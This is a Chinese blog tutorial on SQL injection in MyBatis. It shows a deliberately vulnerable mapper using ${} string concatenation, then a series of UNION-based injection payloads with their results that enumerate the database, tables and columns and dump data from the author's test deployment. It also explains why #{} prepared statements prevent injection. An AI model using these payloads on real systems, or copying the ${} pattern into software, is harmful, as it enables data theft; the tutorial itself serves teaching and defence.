Mybatis中的sql注入,#{}和${}占位符分析

前言

这个标题起得有点唬人,一个成熟的标题在正常使用时是大概率不会出现sql注入的,只有程序员的不当操作才会导致.
本文的写因,也是看到了一篇公众号的文章不敢相信,相同 SQL 下 Mybatis 查询结果和数据库竟然不一样!才心血来潮写出.
如果读者对Mybatis不是很了解,可以移步还没写的Mybits框架分析

Mybatis注入场景复现

项目文件已上传至GitHub,下载

测试项目部署位置 http://139.9.212.218:39002/

输入admin'发现报错回显,这里是因为我没有配置error界面的原因,但无伤大雅。报错回显表示 SQL: select * from sqlITest where name = 'admin'' and password = '',从这我们也就可以分析出,是用户的输入直接嵌入到sql语句中导致的,而出现这样的原因正是因为占位符使用的是${},而并不是#{}.

获取重要信息

查看测试项目dao层代码,我们发现

1
2
3
4
5
@Mapper
public interface UserDao {
@Select("select * from sqlITest where name = '${name}' and password = '${password}'")
User findUser(User user);
}

他的返回值必须是User类,这就以为我们不能拿取数据库的其他信息了吗?

在后端与数据库交互时,返回的User类数据是根据数据库字段和类成员变量对应赋值的,所以我们可以利用sql语句的别名功能,来更改我们所要信息的字段名称.

这里直接贴上所有脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
name=admin' and 1=2 union select 1, 2,database()#

#返回结果
#SQLI

name=admin' and 1=2 union select 1, 2,group_concat(table_name) from information_schema.tables where table_schema=database() #

#返回结果
#flag,information,sqlITest

name=admin' and 1=2 union select 1, 2,group_concat(column_name) from information_schema.columns where table_name='information'#

#返回结果
#id,information

name=admin' and 1=2 union select 1, 2,group_concat(information) from information#

#返回结果
#这是重要的信息

${}和#{}占位符分析

通俗来讲,两者就是${}防不了sql注入,#{}能防sql注入.

${}

${}叫做表达式语言,亦称EL表达式,是Java中的一种特护的通用编程语言,主要作用于JSP、XML,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作.

在mybatis,使用${}嵌入值,其会将数据直接拼接在sql语句中进行预处理,从而引发sql注入.

#{}

我们以如下的Mybatis举例

1
2
3
4
5
public interface IUserDao {

@Select("select * from user where id = #{id}")
User findById(Integer id);
}

这是一个典型的select查询id的功能,利用#{}占位符来插入id值.
但是当我们打印sql语句时,得到却是:

1
select * from user where id = ?

利用如下函数输出sql语句

1
2
3
4
in = Resources.getResourceAsStream("SqlMapConfig.xml");
builder = new SqlSessionFactoryBuilder();
build = builder.build(in);
System.out.println(build.getConfiguration().getMappedStatement("pers.ccy.dao.IUserDao.findById").getBoundSql(null).getSql());

我们多尝试几次后发现,不管输入什么参数,打印出的SQL语句永远是将参数转为?.这是因为MyBatis启动了预编译功能,在SQL执行前,将SQL语句发给数据库进行编译;执行时,直接使用编译好的SQL,替换占位符?就可以了.因为SQL注入只对编译过程起作用,所以这样就避免了SQL注入的问题.

注:利用#{}占位符插入值时,Mybatis会自动将数据前后加上引号,这也就导致有时无法使用#{}.

总结

当无法使用#{}作为占位符时,我们必须将数据格式限制在我们可控范围内,或者将参数进行过滤.